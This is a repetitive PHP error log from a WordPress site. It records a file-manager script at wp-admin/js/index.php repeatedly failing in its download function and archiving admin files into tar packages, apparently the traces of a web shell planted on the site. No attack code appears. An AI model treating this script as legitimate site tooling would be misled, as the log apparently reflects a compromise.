Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 10:53:15 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 10:55:26 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 11:11:11 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 11:11:31 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 11:12:31 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 11:15:52 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 11:35:17 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 11:35:37 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 11:41:29 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 12:04:47 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 12:12:09 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 12:12:39 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 12:16:20 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 12:16:40 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 12:22:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 12:32:56 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 22:00:51 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 22:42:40 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 22:59:55 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 23:04:20 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 00:11:44 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 00:29:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 01:31:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 02:00:14 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 02:11:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 02:28:27 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 03:29:27 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 04:55:39 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 05:51:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 07:30:09 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 08:01:04 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 08:55:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 09:18:13 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 09:31:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 10:49:30 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 11:57:52 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 12:22:28 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 12:46:41 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 15:08:31 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 15:46:44 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 17:15:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 17:28:38 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 19:11:49 UTC] PHP Warning:  fileperms(): stat failed for /home/natitnen/crestassured.com/wp-admin/js/color-picker.min.js.tar in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 282
[25-Jun-2025 20:36:36 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 21:04:52 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 21:06:04 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 21:16:58 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 22:23:57 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 22:30:49 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 22:51:48 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 23:01:29 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[25-Jun-2025 23:30:45 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 02:01:00 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 03:00:52 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 03:25:14 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 195
[26-Jun-2025 04:13:10 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 05:38:26 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 06:31:54 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 06:59:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 07:12:12 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 07:33:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 09:21:04 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 10:06:59 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 10:31:37 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 11:02:12 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 11:56:31 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 12:08:27 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 12:10:59 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 14:34:49 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 17:39:36 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 17:53:11 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 17:57:26 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 19:27:12 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 19:47:59 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 20:06:45 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 20:52:44 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[26-Jun-2025 22:43:35 UTC] PHP Warning:  fileperms(): stat failed for /home/natitnen/crestassured.com/wp-admin/js/editor-expand.js.tar in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 282
[26-Jun-2025 23:33:53 UTC] PHP Warning:  fileperms(): stat failed for /home/natitnen/crestassured.com/wp-admin/js/inline-edit-post.min.js.tar in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 282
[26-Jun-2025 23:55:05 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[27-Jun-2025 01:16:46 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[27-Jun-2025 01:25:47 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[27-Jun-2025 02:05:47 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[27-Jun-2025 03:09:33 UTC] PHP Warning:  fileperms(): stat failed for /home/natitnen/crestassured.com/wp-admin/js/inline-edit-post.js.tar in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 282
[27-Jun-2025 03:28:50 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[27-Jun-2025 03:41:49 UTC] PHP Warning:  fileperms(): stat failed for /home/natitnen/crestassured.com/wp-admin/js/inline-edit-post.js.tar in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 282
[27-Jun-2025 04:07:26 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/natitnen/crestassured.com/wp-admin/js/media-audio-widget.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/natitnen/crestassured.com/wp-admin/js/index.php:2068
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(2068): PharData->compress()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 2068
[27-Jun-2025 04:42:52 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[27-Jun-2025 04:51:09 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/natitnen/crestassured.com/wp-admin/js/edit-link-form.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/natitnen/crestassured.com/wp-admin/js/index.php:2068
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(2068): PharData->compress()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 2068
[27-Jun-2025 04:52:25 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
